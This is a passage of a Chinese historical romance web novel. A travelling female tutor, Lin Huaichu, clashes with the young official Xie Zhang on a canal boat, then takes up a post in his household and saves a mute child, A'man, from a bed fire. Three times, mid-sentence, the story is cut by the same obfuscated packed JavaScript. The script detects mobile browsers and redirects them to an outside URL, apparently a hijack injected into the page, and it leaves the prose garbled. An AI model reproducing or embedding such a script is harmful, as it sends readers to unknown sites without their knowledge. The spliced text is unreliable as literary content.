《贵府塾师不好当》 1. 扬州慢 维扬三月，春水融融。 鸟声千种啭，杨花满路飞。 林怀楚起了个大早，整理好房间，最后检查了一遍行囊。 走出院门时，府里的丫头正打着哈欠洒扫庭除，见了她便招呼道：“林小姐今日便启程吗？老夫人吩咐了，再住几日，也不耽误事的。” 林怀楚笑道：“原先说好的月初动身，谁知连着落雨落了好些天，又在贵府多叨扰了半月，心里实在过意不去。一会子我便去拜别老夫人，早些动身。若是迟了，只怕赶不上船。” 与小丫头别过，林怀楚一路穿过连廊，进了苏家老夫人的院中。 “老祖宗，怀楚今日便要上京城去了，这两年，承蒙苏府关照，怀楚感激不尽。” 林怀楚朝太师椅上的老人深深行了个礼。 老夫人接过身旁人递来的茶，抿了一口，点头道：“林丫头，这几年莲儿更知礼了，诗也作得好了，劳你费心教导。京城谢家与我苏家是世交，你是我介绍的人，到那里去了只当在苏家一般，不必太过拘谨。我的信早寄去了京城，你一到，自然有人接应。” “谢老祖宗。怀楚无以为报，惟愿老祖宗儿女绕膝，寿比山齐。” 林怀楚还欲再行礼，却有人突然从背后冲上来，撞得她趔趄了一下。 一扭头，发现苏家小姐正紧紧地环着她的腰，眸中汪着泪，巴巴地仰头看她。 “老祖宗，凤飞哥哥何时有的嫂子，又何时有的孩子，我怎的一点不知！我的先生，他们说要就要，哪有这个理儿！我不要先生走！我要写信给凤飞哥哥，和他好好理论理论！” “莲儿！” 老祖宗不轻不重地放下茶碗，目光中带着嗔怒： “你哥哥升迁，家中无人教养那妹妹，林小姐要去，是我做的主。” “要了你的先生去，是我们的不是，只是你这妹妹，可怜……” 莲儿听了这话，只得作罢，颇不情愿地撒开手，垂了头，蔫巴巴、泪汪汪地走到老夫人身旁坐下。 林怀楚心中不舍，但看到她这幅样子还是哭笑不得。 她朝老夫人复行了一个礼，郑重道：“老祖宗，怀楚这就动身，到了京城，定好生教导谢家小姐，不负老祖宗一片心。” 顿了顿，她又朝苏家小姐叮嘱道： “莲儿，我走了，你也万不可荒废了学业，每日别忘了习字温书。” “你我读书，虽不能同那些男人一般，得名得利，但识过字、读过书，方能不限于闺阁，知山河辽阔，看锦绣文章，人生至乐，不过如此。” “诸位，珍重。” 林怀楚背着行囊，出了苏府，乘上苏家送行的马车。 莺啼燕啭，春光融融，正是扬州一年中最美的时节。 满框春色从车窗外匆匆掠过，一转眼，便到了人声鼎沸的东关渡。 经了半月霏霏阴雨，春风终绿江南岸，触目便是满城风絮，山川浮翠，芦苇摇风。 好一派江南绝景。 如今的扬州，早已走出战事的阴霾。 林怀楚从怀中取出路票与路引，下了马车。 杨柳岸，渡口前，泊着一艘大船。 三月春水消融而未至汛期，正是行船北上的好时节。渡口边的一棵大柳树下，挤满了乘船的游人。 船家守在船前，挨个将人拦住，查看路引与路票，确认无误才将人放上船。 林怀楚走上前，将那二物递上。 船家慢悠悠地上下将她打量了一番，问：“一个人上京城？” 林怀楚点点头：“在京城寻了份差事。” 见路票路引并无问题，船家才嘟嘟囔囔地将人放了进去，嘴里说着什么“抛头露面”之类的话。 林怀楚不予理会，接过船牌，提起行李便走上船。 这般闲言碎语，她听得并不少，那帮人惯爱拿什么“女子不应抛头露面”之类的话来唬人。 蜩与学鸠，安知鲲鹏之志？她的志向虽不及庙堂之高，但亦非这些凡夫可比。 较之男子，古来能识文断字的女子少之又少，也只有如苏家这般的人家会费心为家中女儿请西席。 往日她林家兴盛时，林家子弟都可入家塾念书，她虽有父亲教导，也能读书，却还是心中不平。 林家子弟入了家塾，却不改纨绔之风，而她一心向学，却只能囿于闺塾。 后来林家败了，家塾散了，但她才女的名声还未倒，于是便应了其他富人家的邀，去人家家中做闺塾师，一方面补贴家用，一方面攒些钱。 她想攒下钱来，回老家办女学，估摸着这几年就能攒够了。 林怀楚寻到自己的房间，铺好铺盖，安置好行李，倒头躺到床上。 客船中挤满了人，与她同房的人吵吵嚷嚷地往里搬行李，显得房中逼仄而喧哗。 她烦不胜烦，用被子蒙住头，将旁人的吵闹声隔绝在外。 本以为即刻就能启程，一问才知是夜航船，子时才开船。 她百无聊赖，用过午饭后便沉沉睡去，直到被一阵喧哗声吵醒。 “没上船的都赶紧了！过时不候！” 她听见有人在下头喊。 也不知自己到底睡了多久，一觉醒来，天色已晚。 扬州城内不设宵禁，东关渡两岸灯影幢幢，恍如白昼，哪怕到了子时，街上依旧有行人来往。 林怀楚循着灯火走到甲板上，朝岸边看去。 此时船客已经上得七七八八，渡口上挤满了送行的人。 “娘！娘！我这次进京一定挣大钱！” 一个年轻人拼命朝船下挥手，涕泗横流。 在他的哭喊声中，大船解缆，准点离岸，顺着城南运河，向南驶出繁华的扬州城。 船行得不急，丑时二刻方抵达钞关，于挹江门停船应检。 甲板上，林怀楚支着头望向远方，难掩好奇之情。 夜色有如浓雾，放眼望去，唯见江水漆黑，山似黛眉。 这是她第一回乘船北上，眼前除了水就是山，自己如同站在一只幼鲲的脊背上，在河道中平稳而坚定地移动。 上船的第一夜，她翻来覆去，难以成眠，干脆枕着手臂听了一夜涛声，直到敌不过困意，沉沉睡去。 饶是她睡得极沉，第二日依旧被众人的高声交谈声吵醒。 一睁眼，天已大亮，不知什么时辰了。 “还未到到瓜洲渡，怎的就靠岸了？” “瞧你是第一回坐船吧，看见后边那艘船没？比咱们的船大得多，那可是官船，咱们的船遇着了官老爷的船，可不就得让路。” 官船渐渐地开到了前头，林怀楚所在的客船亦开始慢慢移动。 船上的人们闲来无事，指着前头的官船，又开始议论起来。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450294|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官老爷的船走得忒慢，在下还赶着进京做大生意哩。” “官船可不得稳当些嘛，官老爷金尊玉贵的，哪里禁得起晃荡。再说了，再慢能有咱们的船慢？” “哼，走在这样的好路上，晃什么晃，顶了天了也就是胶浅罢了” 本来只是几句玩笑话，并无诅咒之意，谁知那艘官船行了不过几步路，船头一歪，竟真的如同被胶粘在了滩上一般，不动了。 众人登时沉默了下来。 “这……这船真胶浅了？” “那俺们还能走吗?” “废话，水道都被堵了，走个屁！” 另一头，谢章看着脚下纹丝不动的船，揉了揉眉心。 舵工见身边的大人面露不悦，急得满头大汗，战战兢兢： “谢大人，此地水浅，船胶浅在此，水夫们都下去了也拖不动。还望大人放些耐心，待浅夫来疏通……” 谢章面色凝重，打断了他：“京城路远，一路上已耽搁了不少时间，本官有要事在身，一拖再拖，只怕误事。” “那……”舵工绞尽脑汁，回头一看，看见了被堵在后头的客船，不及思虑便脱口而出： “那大人可乘后头的民船，走月河，绕过此地的浅滩上瓜洲渡。” 随行的差役立马怒斥道：“大胆！朝中有令，钦差在外需乘官船，私乘民船乃违制大罪！” 谢章闻言，望向身后的客船，若有所思。 沉吟片刻后，他朝众人吩咐道：“将东西收拾好，去和后头的船打声招呼。” 见众人一脸不可置信，他顿了顿，补充道：“诸位不必担心，回到朝中，我自会向圣上说明缘由。” 前头官船出了这样的事，客船上的众人都坐不住了，连连向前张望，只盼上头早些派浅夫来收拾泥沙。 谁料官船上竟放下一艘小船，径直朝他们这边来了。 不过一会子的功夫，全船人都得知了官老爷要来和自己同乘一艘船的消息。 林怀楚听闻，亦放下手中的书，走到甲板上，同闲来无事的众人围在一块，想一睹官老爷风姿。 于是谢章走上船时，看见的就是这样一番图景。 乌泱泱一大堆人。 为表亲和，他冲面前围观的百姓们点点头，目光从众人身上缓缓扫过。 片刻后，他的目光在一张脸上定住。 林怀楚刚打完一个哈欠，还没晃过神，便发现官老爷朝自己这头看过来，整张脸严肃得如同一块铁皮。 人道案牍劳形，今日一见，果然如此。这官老爷年纪轻轻就皱着个眉，真是浪费一张好脸。林怀楚向对方致以同情的目光，扭头进了房中。 “大人，大人？” 客船的掌事见谢章一上船便盯着某地出神，一连叫了他好几声。 谢章收回思绪，回应道： “何事？” “大人，小的们正预备开船绕月河北上，一会过闸时还需大人出面。若顺利出闸，约莫后日便能到瓜洲渡。” “好。”谢章心不在焉地点点头。 “那……不知大人今晚想在哪间房歇脚？小的为您腾地方。” 掌事殷勤地继续追问，大人物屈尊降贵来坐这破船还是头一回，他可得好生表现。 “……就这间吧。” 谢章无心一指，正好挑中了林怀楚的那间房，自己却浑然不知。 2. 瓜洲渡 思及房间原住客皆为普通百姓，谢章又命随行差役取些银钱来交与掌事，让他转交给住客作补偿。 掌事接了银子，喜笑颜开地领命，直奔林怀楚房中，靠着门，剔了剔牙，开始对房中众人发号施令： “你们几个，收拾收拾东西去隔壁挤挤，赶紧的，今晚这间房官老爷要了。” 与林怀楚同房的是个带着三个孩子的母亲，最小的孩子尚在襁褓之中，见掌事一脸豪横，不敢造次，只能带着孩子开始收拾行李。 好一个金尊玉贵的官老爷，人家等了半月才买着的位置，他说占就占。 林怀楚斜着眼朝那仗势欺人的掌事看去，不禁挑了挑眉，冷哼一声： “先前半道胶浅的那船比咱们的客船大得多，那人少说也是进京述职的钦差要员，这样的国之栋梁，怎的连人家的客房也要白占？” “人家愿意搬就让人家去搬，我可不搬。” 掌事自己昧了谢章给的银子，心里也有些没底气，见林怀楚一副不以为然的模样，那份心虚便化为了没由来的怒火： “你不搬？那我来搬！” 掌事气急，从床底拖出林怀楚的行李，高高举起，头上青筋暴凸，一副要将其摔出门外的架势。 饶是他如此虚张声势，林怀楚双眼也不曾离开过书页。 “行，你摔吧。箱子里有扬州苏家的东西，你若得罪得起苏家人，大可一试。” 林怀楚的箱子着实沉，一旁又有许多人看着，掌事既不敢摔，又不愿放，只能保持高举箱子的姿势，与不以为意的林怀楚苦苦僵持。 林怀楚见他双手颤抖，愈发觉得来劲，不停地撺掇他：“摔吧，摔吧，怎么，怕我一个弱女子去告状不成?” 谢章在楼上被招待着喝了两盏茶，想独自下楼转转，感受感受淳朴民风，谁料却撞见了这剑拔弩张的场面。 靠山出现，掌事终于有了台阶下，得以将那死沉的箱子放下，忙跑到谢章跟前恶人先告状：“大人，这间是您选定的房，小的好言相劝，此人就是赖着不走！大人可要为小的做主啊！” 谢章看了眼掌事，又看向一脸淡然的林怀楚。 林怀楚毫不示弱，以冷眼回敬他的眼神。 她平日衣着打扮，只求干净得体。一袭春衫素净，一对眉如远山，虽无光鲜的赘饰，其形貌神态落入他人眼中，亦是一身压不弯、摧不断的松筋竹骨、自然风流。 围观众人看看林怀楚，又看向谢章。 这位年轻的官老爷形若玉山，发似飞瀑，又偏偏换了件与他极为相称的朱红色官袍，愈发显得面如冠玉，唇胜朱丹，真真如同画中人一般。 就是不知为何，总显得不太高兴。 谢章几度欲言还休，话在嘴里滚了好几轮，最后问出口的却是一句： “可是对补偿不太满意？” 林怀楚挑了挑眉。 这是在挑衅？ 况且，哪来的补偿？长得好看能当银钱使？ 她毫不客气地回击道： “大人的好意，在下心领了。大人身为京中要员，在外如此就罢了，我等无不敬服，回朝后可得当心些，遭人弹劾就不好了。” 在外“如此”？莫非钱真的太少了？ 谢章迟疑片刻，沉声道： “先前之事，多有冒犯。若钱不够，在下可再加些。” 一谈到钱，掌事顿时紧张起来，心知这是自己捅出来的篓子，连忙在被其他人揭穿之前出来帮腔：“大人仁慈，先前给的已是一笔不小的数目，要怪就怪这狂徒贪心不足！不……不信您问她！” 掌事伸手一指，指向与林怀楚同房的那名带了好几个孩子的女人，面露凶色，眼珠子瞥了瞥外头，又瞥了瞥林怀楚，示意她若不为自己说话便要将她赶下船。 女人将几个孩子护在怀里，战战兢兢地答道：“回老爷，钱够了……够了！” 掌事此言一出，林怀楚便立刻明白了事情原委。 心中不服，却并没有立马揭穿那狗仗人势的掌事。 只因此刻有三道视线落在她身上。 谢章询问的眼神。 掌事威胁的眼神。 还有那年轻母亲哀求的眼神。 她在心中叹了口气。 她十分清楚，这女子和那几个孩子吵了她两日，闹得她不得安生，她早已烦不胜烦。 可她同样明白，女子出行在外，总有诸多不便。那女人上船前明明已经交够了船费，上船后掌事却以她拖家带口为由要多收一笔钱，否则就将她半路赶下船，她千求万求，方才作罢。 “行，我搬。” 林怀楚干脆利落地扛起自己的行李，越过谢章与一众旁观者，走出房门，将众人的议论声抛之脑后。 旁观者清，当局者迷。 当晚，谢章因此事失眠了。 迷迷糊糊间睡去，做了一个梦。 梦见自己变成了一只蝴蝶，在一片空无里，漫无目的地往前飞。 突然，从天上伸下来双大手，一把将他拢入手心，他四处碰壁，如同进了一个黑洞洞的茧。 他被困在掌心许多年，许多年后，手指终于开恩般一根根分开。 眼前出现第一缕光时，他便立马竭力朝外飞去，恨不得将翅膀扇出火来。 四周全是虚无，不知飞了多久，他终于见到了一个山峰。 他停在了那个山峰上休息。 忽然，世界变得越来越小，他突然发现，自己那几只虫脚下踩着的并不是山峰，而是—— 一个人的鼻尖。 是她。 “大人，大人？” 谢章闻声猛地睁开双眼。 眼前是床边正欲叫醒自己的随侍伍四六。 天色已大亮。 他从床上坐起，盯着房内陌生的陈设晃了晃神，似乎终于想到了什么，冷不丁开口： “四六，去将昨日那名掌事叫来，我有话要问。” “是。” 过了春分，天亮得早了。身在旅途之中，林怀楚亦不敢懈怠，虽昨夜被同房的鼾声扰得一夜未眠，却也起了个大早，匆匆梳洗一番后，照例来到甲板上看书。 看得正出神之时，身侧不知何时来了个“不速之客”，凑近了念起她书上的诗句来： “千古风流八咏楼……” 林怀楚惊了一跳，扭头看去。只见身侧立了个小丫头，生得瘦弱矮小，正一脸紧张地盯着她看。 观其发髻，不过总角。 小丫头见被发现了，便一缩脑袋，忸忸怩怩地问道：“姐姐，我可以和你一起看吗？我也识字的，能看懂。” 林怀楚哑然失笑，将人揽了过来，让她坐在自己腿上：“好好好——我们一起看。” 两人素不相识，此刻目光却一齐落在书页上，默契非常。 “千古风流八咏楼， 江山留与后人愁。 水通南国三千里， 气压江城十四州。” 小丫头轻轻地念着纸上的诗行，不敢高声语，恐惊纸上文。 读罢，她扬起脸，双眸亮晶晶地问道：“姐姐，一看你便是有大学问、大阅历之人，江城果真有十四个州么？那该有多大多大啊？” 林怀楚笑着摇摇头，并不直接回答，而是信手将书翻了几页：“来，你再来看看这句。” 小丫头以手指字，慢慢地开始念： “《晓梦》……” “共看……藕如船……同食……枣如瓜？” 林怀楚点点头，解释道：“若诗中皆为实写，世间岂不真有如船大的藕，如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450295|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓜大的枣？” “诗，可写真，也可写幻；可写古，也可写今。而你方才问的那一句‘气压江城十四州’，则是用前人‘一剑霜寒十四州’之典，并非真在说近江一带有十四个州县，但你我仍能体悟到诗中的豪气，这便是诗的妙处。” “许多人读诗，只关心诗中所写是否可考，却全然不知，人在诗中能得大自在，若你今后读了更多的书，自然会悟透此间道理。” 小丫头乖顺地应了一声，两人正欲往下看时，甲板上，众人突然喧哗起来。 “听人说，掌事遭那官老爷问罪了！说是昨日掌事贪了他给房客的银子，现正押着人抄书呢！” “王老二大字不识一个，让他抄书？真是天道好轮回——” 谢章方出房门，便一眼看见了林怀楚的所在，遂朝她那头走去，全然不觉自己面上犹含霜雪，吓得众人纷纷为其让道。 林怀楚膝上的小丫头也被谢章那张黑脸给吓住，揪住她的袖子，低声道：“姐姐，我怕他……我想去找娘……” “好，那你先回房里去找你娘，我明天还会到这来，你若还想看书，来这里找我便是。” 林怀楚摸摸她毛茸茸的脑袋，安慰道。 小丫头一溜烟跑远了，谢章亦刚好在她面前站定。 林怀楚收了书，也不起身，只坐在原位，舔舔虎牙，抬头看向来人： “怎么？道歉来了？” 被戳穿来意，谢章只觉面上不自觉地烫了起来，生怕对方察觉，便强作愤怒状，方才酝酿的千言万语登时化为一声冷笑： “呵呵。” 林怀楚：“？？？” 谢章已经完全不记得自己当时到底是怎么离开的，只记得当时两条腿挺争气，走得挺快。 官老爷走过来，官老爷走过去。 林怀楚看着谢章的背影，只觉莫名其妙。 这就走了？还真不是来道歉的？ 次日，客船抵达瓜洲渡。 瓜州江防同知一早便候在码头，待谢章一行人下了船，立马上前拜见。 汪纬仁朝谢章行了个礼，一脸殷勤道： “谢大人，下官收到后头来的消息后便早早备好了新船，大人若急着上京，换了船后便可启程。可若是——” 他凑近了些，轻声说道：“若谢兄不堪舟车劳顿，也可在瓜州停留几日，汪某定尽地主之谊……” 话未说完，便被谢章冷声打断： “不必。” 他不动声色地往后退了几步，本想克制情绪，却还是忍不住皱起了眉。 随侍伍四六常年陪同谢章出行，已算得上阅人无数，见了汪纬仁这番笼络之举也不禁腹诽： 他家大少爷刚正自持、说一不二的名声早在官场之中传扬了好些年，所到之处，谁人不避他几分，而这汪纬仁却如同浑然不知一般，上赶着讨谢章的嫌，实在是件怪事。 正如伍四六所想，谢章果真不愿再与汪纬仁过多交谈，直截了当地提出要去坐船：“劳烦汪大人带我等去官船处。” 汪纬仁连连道好，忙将几人往官船停泊处引。 “等等。”谢章冷不丁停下，朝码头外看去：“外头那群人聚在那作甚？” “回大人，那些都是些地痞流氓，素来爱在街上闹事，片刻后官兵便会将这群人压下去。” 汪纬仁搓了搓手，哈着腰催促道：“谢大人，走吧？” 谢章站在原地一动不动，低声道：“不像。” “什么？”汪纬仁耐着性子与其周旋。 “那群人分明就是读书人。四六，过去看看。” 伍四六领命，离了队伍便要朝码头外走。 “站住！” 汪纬仁变了脸色。 “一点小事，谢大人何必挂怀？” 3. 谢府 自瓜洲渡启程后，客船一路北上，走走停停。 四月底，终抵达通州码头。 怪道京城繁华，船还未靠岸，便遇上了一艘足有百尺之高的巨大楼船。 船身绘有大夬朝的五色纹样，船上官兵如同一粒粒粟米，在甲板上行走。 帆樯高耸入云，眯着眼看去，才能依稀辨认出桅杆顶端立着个鸦班。 如此景致，饶是客船上的许多江南人也见所未见，只恨书到用时方恨少，呆呆看了半日才发出一声赞叹： “好……好大的船！” 后人渡海时亦得见与之相似之景，心中感慨，遂作诗云： “楼船制迥异江关，未许神风辄引还。灯火一龛祠马祖，帆楮百尺上鸦班。” 客船甲板上，众人都收好了行李，等着下船。 “林姐姐，阿媖舍不得你……” 自第一次共读后，阿媖便日日跟着林怀楚念书。 她天生聪慧好学，林怀楚又是惜才之人，因而尽她所有，悉心教导。 她们二人认识不过月余，却已情同姐妹。 如今阿媖抱着林怀楚的腰，不肯放手，依依惜别之情，溢于言表。 林怀楚揉揉阿媖的脑袋，从袖中取出一本集子，塞进她手里。 阿媖接过集子一看，又惊又喜：“《漱玉集》？送给我的吗？真的送我吗？” 她眼睛刚刚亮起，又黯了下去。 “林姐姐，我娘说，书是顶贵的东西，这书，阿媖不能收。” 林怀楚点点阿媖的脑袋，宠溺道：“不记得了？你我第一次见面时，我们看的就是这本书，如今将此书赠与你，你我都能留个念想，岂不比我自己拿着这书更好？阿媖听话，快收了吧，将来若你真成了如易安居士般的才女了，我还要沾沾你的光呢。” 阿媖将头埋在林怀楚胸前，蹭了又蹭，声音闷闷的，带着鼻音： “别时容易，见时难……今日一别后，世上再没有林姐姐这般的良师……我今后再读《漱玉集》，也不会如在船上这些日子一般快活了……” 林怀楚闻言不禁哂然：“说什么傻话！世间良师千千万万，更何况你我今后同在京城，总会再见的。” 待漕船离去后，客船终于靠了岸，众人纷纷下船。 阿媖牵着母亲的手，与林怀楚遥遥挥别，渐渐地挤入人群深处，看不见了。 林怀楚提着行李，好不容易才挤出码头。 一时间，周身人声鼎沸，她只能顺着人流走，到了人少的地方再找人问路。 她正一门心思地往前挤，突然被不知什么人叫住。 “敢问姑娘可是扬州来的林小姐？” 踏破铁鞋无觅处，得来全不费工夫。谢家果真派了人来接应，并主动出示苏家老夫人的信函，以证身份。 林怀楚见其身份无误，便跟着那人上了马车。 京城景色与扬州城全然不同，满城柳絮随风而舞，书卷上的狂草一般，飘飞得颇为张扬。 听惯了江南官话的吴侬软语，如今再听京城街头百姓们交谈时的迥异音调，林怀楚觉得新奇异常，遂靠窗细细听了一路，并不觉无聊。 马车越往谢府的方向行进，交谈声就越少，四周便越幽静。 最后，在一条深巷中，马车停了下来。 林怀楚谢绝了车夫的搀扶，跳下马车，抬头看去—— 触目是朱甍黛瓦、青栋碧檐，檐下是一张漆金牌匾，上书“敕造承恩府”五个大字，大门上钉着兽面辅首、黑油锡环。 林怀楚由一个小厮领着，自侧门而入。又由一个小丫鬟领着，过了垂花门，转至内宅前厅。 一个年过半百的女子正坐在厅前次座上，戴着一副西洋玛瑙镜，正眯着眼读着手中的信。见了林怀楚，她连忙起身迎接，扶着林怀楚的双臂，喜不自胜：“这位便是林姑娘吧？真是个标志人物，有失远迎,有失远迎。” 林怀楚点点头。 王妈左看右看，见林怀楚果真如扬州苏家所说那般一表人才，喜欢得不得了，眼角炸开两朵褶花： “林小姐，我叫王杏花，今后叫我王妈便是。你初来乍到，不知道我们家的情况，且听我道来。” “我家大少爷两年前接了圣旨，升了迁，南下做官去了。这两年，府中诸事皆由我代理。本以为少爷这几日便会回京述职，谁料方才收到大少爷的信，说是路遇要务，回京的日子又要往后推几个月，还叮嘱老身在府中多留心孩子——” “这不就巧了嘛！少爷的信前脚刚到，林小姐就来了，好一场及时雨！” “林小姐舟车劳顿，也该乏了吧，翠缕，快带林小姐去房中休息，明日再聊孩子的事。” 林怀楚忙摆手道：“王妈，方才在马车上我已歇过了，现精神着呢，可否现在就带我去看看阿满？” 苏家老夫人先前向她提起过这个叫阿满的孩子，说她个性孤僻，且口不能言，谢家已经为其已换了好几个先生，可无论那些人如何晓之以理、动之以情，抑或是软磨硬泡，也无一人能让她开口说一个字。 林怀楚明白，唯有先查清她究竟是“不能言”还是“不愿言”，方能对症下药。 王妈叹了口气，摇摇头：“想来林小姐已经听说过阿满的情况，实在急不得……” “不过，若林小姐想去的话便随我来吧，正好与你先讲讲她的事，心里也能有个底。” 两人并排走在连廊中，踱过一大片竹影。 “阿满是大少爷从外头带回来的，带回来时已经两岁，谁和她说话她都呆愣愣的，也不说话，但你同她说话，她又能听懂……” “大少爷说这是他的亲骨肉，却对她生母闭口不提，大伙也不敢问……” “阿满这孩子，乖得很，也倔得很，平时给她念书的时候便极乖，一教她说话就如同木头一般，动都不动了，饭也不肯吃，非要等先生败下阵来了，告诉她不教说话了才作罢……” “也不爱出门走动，饭也吃得少……看着真叫人心疼……” 几句话的功夫，两人到了阿满的院前。 “画屏！大少爷找的新先生到了！” 王妈将阿满的贴身侍女叫了过来，让她见见林怀楚。 “林小姐好。”画屏不卑不亢地走过来行了个礼，又一扭头朝房里走去：“王妈，我去问问小姐愿不愿见人。” 林怀楚环视小院，看着井井有条，却无甚花草，只在角落处种了几杆竹，显得空空落落，不像这个年纪的孩子住的地方。 片刻后，画屏返回告知：“王妈，林小姐，请回吧，小姐今日不愿见人。” 王妈向林怀楚解释道：“她若不愿见人，除了大少爷，谁来了也不管用，就算见到了，也如同木头一般不理人，咱们明天再来吧。” 林怀楚看向阿满紧闭的房门，若有所思。 “王妈，这院中可还有空房？我可否搬到院中与阿满同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450296|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住？” 虽未见到孩子，好歹也住在了一个院中，离得近了，早晚能与她混熟。 王妈略一思索，觉得这也不是件坏事，便答应了。 一切收拾妥当后，明月已攀上竹梢。 林怀楚熄了灯，在床上躺下，心中盘算着该如何与阿满拉进距离。 大抵是不习惯北方的吃食，半梦半醒之际，林怀楚突然感到腹内绞痛，只能披衣去茅房解决内急。 同住一个院中，虽伺候阿满起居并非她分内之事，但林怀楚还是忍不住对阿满房中的光亮感到忧虑。 这个点了，阿满不愿睡，画屏也该劝她睡下了吧？ 她这样想着，不知不觉就走到了阿满窗前。 走近了些，她才发觉，窗内并不是灯光，是火光。 她忙跑去叫门。 “画屏，开门！开门！” 隔着门都能听见如雷的鼾声，可任她将门拍得震天响，屋内都毫无反应。 来不及了。 林怀楚此刻也顾不上什么为客的礼数了，不假思索地破开窗户，翻了进去，一头冲进内室。 火光扑面。 阿满床边的烛台不知是怎么倒下的，蜡油滴了一地，烛火点燃了纱帐，如今已将纱帐烧了半边，火势虽不大，却显得床如火笼一般，看不清床上人的情况。 水，她需要水。 林怀楚环顾卧房，在妆镜旁发现一盆用过的皂水，一把将铜盆端起，泼向纱帐。 不幸中的大幸，火势小了大半。林怀楚忍着灼烫，眼疾手快地将那烧着的半边纱帐扯下，扔在地上，用脚将其踩灭。 火苗化成一缕黑烟，没入无边的黑夜。 那张足能睡下两人的大床上，一团小小的黑影蜷缩在靠墙的角落，既不说话，也不抬头。 林怀楚生怕阿满出了什么事，连忙将她从床上抱起。 正如王妈所说，阿满极轻极轻，抱着她像抱着一只狸奴。 将她拥入怀中后，林怀楚才发现她身体僵直，全身难以抑制地颤抖着，寝衣单薄，双脚冰凉。 “阿满，没事了。”林怀楚以手轻抚她的脊背，柔声安慰道。 “没事了。我来救你了。” 不知安抚了多久，阿满渐渐止住颤抖，像是睡着了。 林怀楚正欲将她放回床上，却发觉胸口处传来一阵凉意。 阿满从一开始便一直将头埋在她胸前，她看不到阿满的表情。 但她能知晓的是，自己的衣襟湿了。 那股凉意如同有生命一般，在她胸前蔓延开来，如一石激起千层浪，一风吹动万里帆。 这么小的人儿，怎么会有这么多的悲伤从她双目中涌出呢。 她的胸腔与阿满的双眼只隔了寸余的骨肉，她的心能感受到那双眼睛里的痛苦。 她的沉默，她的孤僻，似乎有一个被钉满尖刺的答案等待着林怀楚去追寻，但此刻，她什么也没问。 今夜的火情也注定要成为她们二人之间的秘密。 因为、当林怀楚握住阿满的手时，摸到了她掌心残留的蜡痕。 她觉得，阿满这样做一定有她的理由。 林怀楚抱着阿满在犹弥漫着焦味的房中枯坐了一夜，直到怀中的孩子渐渐止住了眼泪，呼吸变得均匀而绵长。 她将其放回床上，收起那半扇焦黑的纱帘，轻轻掩上房门，装作自己从未来过。 天边泛起鱼肚白。 4. 胭脂河 经了昨夜之事，林怀楚睡意全无，平躺在床上捱过两个时辰后，决定起床，到谢府里逛逛。 这谢家府邸之繁华，比苏家别苑还胜过几分。苏家为江南名宦之家，其别苑枕河园常年为文士交游之所，众人在园中树下流杯、沙头渡水，清雅非常。 林怀楚也曾有幸跟随苏家主人进入园中。 一群读书人，酒过三巡后醉得歪七扭八，相与枕藉于花树下。林怀楚亦吃了几杯酒，起初并不觉得醉，只觉得有些乏，欲回房中休息，谁知起身走起路来，却走得东倒西歪。 忽见一块粉墙，便走上前倚靠，最后竟靠着墙根睡去。 半梦半醒之际，发觉自己被众才女文士们团团围住，如同见了什么新鲜事一般。 见她睡眼朦胧，支臂坐起，众人笑道：“诸位快看，文君醒了。” 林怀楚不明所以，顺着众人所指抬头看去，只见粉墙上不知是谁题了句诗： “文君依墙卧，叔夜枕河眠。” 署名处是“凤飞”二字。 思及往事，林怀楚微微一笑。直到如今，她也不知这位“凤飞”究竟是何许人。 收回思绪，她发觉自己已经将园子走了大半。 阿满的院子名为琅玕院，位于谢府西北角，琅玕院墙外便是西巷。 琅玕院以南，是个挺大的园子，叫做芳谢圃。她方才进去转了转，落英满地，尚无人扫。 也不知阿满平时是否会到这园子里来玩。今日讲完了课，定要拉着她出来走走。 算算时辰，也该回去找阿满了。 本以为阿满昨夜那一番折腾，今晨定会赖床。一进院中，却发现阿满已穿戴整齐，在园中石凳上安安静静地坐着等她。 见林怀楚回来了，她立马起身，自己拿起石桌上的茶壶，斟了一杯茶。 阿满端着茶杯走到林怀楚身前，深深鞠了一躬，举杯齐眉，将茶递到林怀楚手中。 敬师茶。 她不过五岁的年纪，却已懂得自己筹备拜师礼。 林怀楚心中感慨，接过茶杯，抿了一口，腾出一只右手，将阿满扶起： “你我之间，不必行此大礼。”语毕，冲她轻轻一笑，两人目光交汇，心照不宣。 阿满虽不言不语，抬眼看向她时，一双眸子却如会说话一般，里头满是敬意与感激。 林怀楚清清嗓子，有意逗逗她，故而佯作严肃之态：“既然已经拜过师了，那为师可要开始传道授课了。你可准备好了？” 阿满替林怀楚收起茶杯，牵着她的衣袖，主动带她走进自己房中。 林怀楚被这玉雪可爱的小阿满牵着走路，只觉心中酥倒，乐不可支。 